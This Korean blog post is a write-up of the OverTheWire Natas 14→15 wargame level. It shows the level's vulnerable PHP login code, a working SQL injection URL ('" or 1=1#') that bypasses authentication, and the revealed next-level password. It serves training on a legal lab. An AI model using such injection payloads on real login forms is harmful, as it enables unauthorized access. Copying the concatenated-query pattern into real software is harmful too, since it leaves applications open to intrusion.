[ Natas 14 -> Natas 15 PHP Injection ( 쿼리 조건문 변조 ) ]

2017. 9. 28. 19:19WebHacking/[OverTheWire]Natas

 




1> 초기 페이지


2> 페이지 소스코드


3> PHP 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<? 
if(array_key_exists("username"$_REQUEST)) {                         // 사용자가 username 값을 입력했다면
    $link = mysql_connect('localhost''natas14''<censored>');     // natas서버에 natas14계정으로 접속한다
    mysql_select_db('natas14'$link);                                 // natas14DB에 연결한다
     
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""// 쿼리문 
// 쿼리문에서 $_REQUEST변수로 데이터 입력을 받기 때문에 GET방식으로 데이터를 입력할 수 있는 취약점이 있다
    if(array_key_exists("debug"$_GET)) { 
        echo "Executing query: $query<br>"
    } 
 
    if(mysql_num_rows(mysql_query($query$link)) > 0) {     // 쿼리문이 정상적으로 실행되면
            echo "Successful login! The password for natas15 is <censored><br>"
    } else {  // 쿼리문 실행 X
            echo "Access denied!<br>"
    } 
    mysql_close($link);      // DB연결 종료
else {                     // 사용자가 username 값을 입력하지 않았을 때, 폼 화면이 출력된다
?> 
 
<form action="index.php" method="POST"
 
Username: <input name="username"><br
Password: <input name="password"><br
 
<input type="submit" value="Login" /
</form
 
<? } ?> 
cs


4> GET방식 debug변수 이용한 쿼리문 확인



5> PHP Injection을 통해서 해당 쿼리문의 조건식을 항상 참이 되도록 하자


쿼리문 ( PHP에서는 " . " 을 이용해서 변수와 문자열을 같이 쓸 수 있다 )

"SELECT * from users where username=\"" . $_REQUEST["username"] . "\" and password=\"" . $_REQUEST["password"] . "\"";

username = eun , password = 1234

=> SELECT * FROM users WEHRE username="eun" and password="1234";


공격할 쿼리문

http://natas14.natas.labs.overthewire.org/index.php?username=eun&password=1234"%20or%201=1%23

=> "SELECT * FROM useres WHERE username="eun" and password="1234" or 1=1 # ."\";


%20 = Space bar

%23 = # ( PHP 한 줄 주석 )


GET방식의 debug 변수를 만들어 입력한 쿼리문을 확인할 수 있었고, 1=1 조건으로 인해 쿼리문이 정상 실행되었다




Natas15: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J